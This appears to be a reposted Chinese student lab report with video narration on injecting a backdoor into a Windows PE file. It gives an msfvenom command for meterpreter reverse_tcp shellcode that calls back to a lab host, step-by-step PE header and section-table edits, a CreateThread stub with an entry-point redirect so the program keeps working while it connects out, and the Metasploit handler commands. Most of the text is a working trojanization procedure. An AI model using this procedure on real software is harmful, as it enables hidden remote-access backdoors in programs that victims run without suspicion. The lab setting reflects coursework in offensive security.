ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

EXP3

2022-05-03 23:00:06  阅读:250  来源: 互联网

标签:文件 字节 EXP3 起始 PE shellcode 节区


实验效果

✅将后门程序和目标程序捆绑在一起,实现运行目标程序时回连攻击机的目的

shellcode的生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -f hex

通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314命令实现shellcode的生成,通过参数-f hex将生成的shellcode以十六进制的形式输出✅

写入

一、加新增节内容

执行命令后生成了16进制的shellcode

image-20220430222959475

把这个shellcode复制下来,准备插入到helloworldwin32.exe的一个新增节中

payload size为354字节,那么新增节的大小需要大于所需的空间,才能将shellcode装下,在文件中,节的对齐粒度是0x200,十进制就是512

最少要在原PE文件的后面增加512字节,才能放得下生成的shellcode ✅

选择插入位置的起始点,右键->编辑->剪切板数据->写入

image-20220430225153383

选择确定

image-20220430225259787

选择剪切板格式为ASCLL HEX

image-20220430225259797

二、改PE头(一)

1.修改节区数目

2.修改程序占用内存大小

✅在PE头中,下图中绿色框出的位置为节区数目,因为我们增加了一个节,所以需要把原来的3改成4

由于我们新增了0x1000的节区空间,那么相应所占内存大小也要加0x1000,如图蓝色部分原始大小为00004000此处改为00005000即可。

image-20220430231021606

PE文件头+.text节+.rdata节+.data节原来所占内存为0x4000,加了一个节(.hack)后,所占内存变成0x5000

image-20220430231553560

三、改PE头(二)

1.确定新增节名称

2.确定新增节区所占内存大小(红色一)

3.确定新增节区起始RVA(橘色)

4.确定新增节区在文件中大小(红色二)

5.确定新增节区在文件中的偏移

6.确定新增节区属性

7.更改函数入口地址,以创建线程的方式使得两个功能都能正常运行

1.前8字节为节名称

2.接下来4字节为在文件中的节区尺寸(红色一),此处设为0X200

3.橘色为节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。

4.接下来4字节为在文件中对齐后的尺寸(红色二),此处设为0X200

5.绿色色为文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始RVA应该为0xA00

6.最后的4字节为节区属性,设为200000E0可读可写可执行

image-20220430232528112

.hack 虚拟偏移(橘色):上一节偏移+ 节大小(.hack) => 0x3000 + 0x1000 = 0x4000
.hack 实际偏移(绿色):上一节在文件中偏移 + 节实际大小(.hack) => 0x800 + 0x200 = 0xA00

7.创建子线程,更改函数入口地址

CreateThread()创建线程的方法比较容易理解和使用 微软官网CreateThread()函数简介百度百科CreateThread()函数简介

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向lpStartAddress传入ShellCode首地址即可,其他参数均为0

image-20220501153155108-16513903174051

OllyDbg打开,在函数新增节末尾注入创建线程的函数(call CreateThread)及跳转回原来入口地址的操作(jmp 401000),保存修改到新文件helloworldwin32mod.exe

image-20220501153722504

winhex修改函数入口地址为第一条push 0命令的地址0x40417A

image-20220501154117357

成功调用

运行原程序,原程序功能正常

启动kali回连

msfconsole

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.128
set lport 4314
run

大家好,这个视频主要展示的内容是一个后门注入PE文件如何实现的这么一个过程,首先来看一下实验效果哈,原程序就是我们之前用到的这个hellowin32这个PE文件,注入后这个pe文件的原程序这个弹窗功能不变,同时还会启动后门回连到kali上。

首先需要在kali上启动监听,然后使用这个exploit渗透攻击模块,设置攻击载荷,这里我的虚拟机启用的是桥接模式,IP地址为192.168.45.128,然后我们把这一段整个复制一下,在命令窗口粘贴执行。然后这里运行一下这个捆绑了后门的PE文件,就能看到他在原功能正常运行的情况下回连到了虚拟机,在虚拟机列出一下当前目录下的所有文件,能看到结果都是对的嗷,接下来看一看是怎样将这样一个后门注入到pe文件中的!

通过这样一个命令实现shellcode的生成,通过参数-f hex将生成的shellcode以十六进制的形式输出,然后我们到命令行中执行一下这条命令,就能生成一段十六进制的shellcode

能看到这条shellcode是354个字节的,然后复制一下这条shellcode,粘贴到主机的一个新建的文档之中保存一下,这里我安装了vmtools所以能实现主机和虚拟机的粘贴板互通,

然后我们用winhex打开原程序hellowin32,在文件尾端新增一个节,刚刚shellcode的大小是354字节,那么新增节的大小需要大于所需的空间,才能将shellcode装下,在文件中,节的对齐粒度是十六进制的200,十进制就是512,所以最少要在原PE文件的后面增加512字节,才能放得下生成的shellcode。

接下来把之前生成的shellcode来填充这些0字节,打开之前的那个有shellcode的文档,复制这些shellcode,填充这些新增的0字节,选择插入位置的起始点,右键->编辑->剪切板数据->写入,这里点确定,然后选择剪切板数据格式为16进制数据,然后再点确定,就可以看到数据就已经插入成功了。

接下来我们要改pe头,在PE头中,这里是节区数目,因为我们增加了一个节,所以需要把原来的3改成4

由于我们新增了十六进制为1000的节区空间,那么相应所占内存大小也要加0x1000 偏移量1零零这个位置表示程序所占内存,把4000改为5000就行。

下面要修改的位置是节表,这里前8字节为节名称,这里起一个名叫hack,接下来4字节为在文件中的节区尺寸,这里设为0X200。

下面4字节是节区RVA,上一节起始为0x3000,内存节对齐粒度为0x1000,所以下一节起始RVA应该为0x4000。接下来4字节为在文件中对齐后的尺寸,设为0X200

下面是确定文件偏移,上一节起始为0x800,在文件中对齐后尺寸为0x200,所以下一节起始地址应该是0xA00,最后的4字节为节区属性,设为200000E0可读可写可执行,保存一下文件

接下来是通过创建一个子线程,实现原功能能够正常运行的情况下,还能够回连后门的效果,OllyDbg打开,跳转到新增节位置404000,在函数新增节末尾注入创建线程的函数(call CreateThread),这个函数需要传入6个参数,lpStartAddress表示新线程的起始地址,在本次实验中仅需向第四个参数的位置传入ShellCode首地址即可,其他参数均为0创建子进程完后,还要有一个跳转回原来入口地址的操作(jmp 401000),保存修改到新文件hellowin32下划线mod.exe

winhex打开这个带有下划线mod的pe文件,然后修改函数入口地址为第一条push 0命令的地址,刚刚第一条push 0命令的地址是0x40417A,这里修改一下。保存

测试一下修改的效果,这里我虚拟机已经按照之前讲过的方式设置了监听,然后我们运行一下带有下划线mod的这个文件,可以看到后门回连成功了,我的展示就到这里,谢谢大家。

标签:文件,字节,EXP3,起始,PE,shellcode,节区
来源: https://www.cnblogs.com/a6666o/p/16219847.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有